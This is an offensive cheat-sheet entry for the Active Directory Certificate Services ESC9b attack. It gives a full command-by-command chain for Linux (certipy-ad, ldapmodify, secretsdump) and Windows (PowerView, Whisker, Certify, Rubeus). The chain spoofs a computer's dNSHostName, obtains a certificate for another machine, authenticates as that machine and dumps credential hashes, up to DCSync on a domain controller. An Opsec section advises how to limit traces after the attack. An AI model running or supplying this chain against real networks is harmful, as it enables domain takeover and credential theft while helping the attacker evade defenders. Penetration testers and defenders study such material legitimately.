ADCSESC9b
ESC9b: No security extension on template + GenericWrite on a computer account β strip conflicting SPNs, change victim computer's dNSHostName to match a target computer, enroll a cert, restore dNSHostName, then authenticate as the target computer.
Applies to: Principals with GenericWrite on a computer account β vulnerable template (no szOID_NTDS_CA_SECURITY_EXT, machine auth) β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Remove conflicting SPNs from victim computer
# Check current SPNs:
ldapsearch -x -D '<attacker-dn>' -w '<password>' -h <dc-ip> \
-b '<victim-computer-dn>' servicePrincipalName
# Delete SPN(s) that conflict with target hostname:
echo -e "dn: <victim-computer-dn>\nchangetype: modify\ndelete: servicePrincipalName\nservicePrincipalName: HOST/<victim-computer>" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 3: Change victim computer's dNSHostName to target computer's FQDN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user '<victim-computer>$' -dns <target-computer>.<domain>
# Step 4: Set mail attribute if required by template
echo -e "dn: <victim-computer-dn>\nchangetype: modify\nreplace: mail\nmail: dummy@mail.com" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 5: Get credentials for victim computer account
# Shadow creds (if AddKeyCredentialLink):
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-account '<victim-computer>$'
# Step 6: Enroll cert as victim computer (dNSHostName now = target)
certipy-ad req -u '<victim-computer>$@<domain>' -hashes ':<victim-ntlm>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Output: <target-computer>.pfx
# Step 7: Restore victim dNSHostName (critical)
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user '<victim-computer>$' -dns <victim-computer>.<domain>
# Step 8: Authenticate as target computer
certipy-ad auth -pfx <target-computer>.pfx -dc-ip <dc-ip>
# Step 9: Use machine hash for lateral movement / DCSync if DC
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-computer>$@<dc-ip>'
Windows Abuse
PowerView + Certify.exe + Rubeus
# Step 1: Remove conflicting SPNs
Set-DomainObject -Identity '<victim-computer>$' -Set @{'serviceprincipalname'='HOST/<victim-computer>'}
# Step 2: Change dNSHostName to target
Set-DomainObject -Identity '<victim-computer>$' -Set @{'dnshostname'='<target-computer>.<domain>'}
# Step 3: Set mail if required
Set-DomainObject -Identity '<victim-computer>$' -Set @{'mail'='dummy@mail.com'}
# Step 4: Get victim computer session (shadow creds / other)
Whisker.exe add /target:'<victim-computer>$'
Rubeus.exe asktgt /user:'<victim-computer>$' /certificate:<pfx-base64> /domain:<domain> /ptt
# Step 5: Enroll cert as victim computer
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /machine
# Step 6: Restore dNSHostName
Set-DomainObject -Identity '<victim-computer>$' -Set @{'dnshostname'='<victim-computer>.<domain>'}
# Step 7: TGT as target computer
Rubeus.exe asktgt /user:'<target-computer>$' /domain:<domain> /certificate:<pfx-base64> /ptt
Opsec
- SPN deletion and dNSHostName change are logged (Event ID 4742 β computer account changed).
- Restore dNSHostName and re-add SPNs immediately after enrollment.
- CA retains issued cert; the requesting computer account and the spoofed dNSHostName are both visible.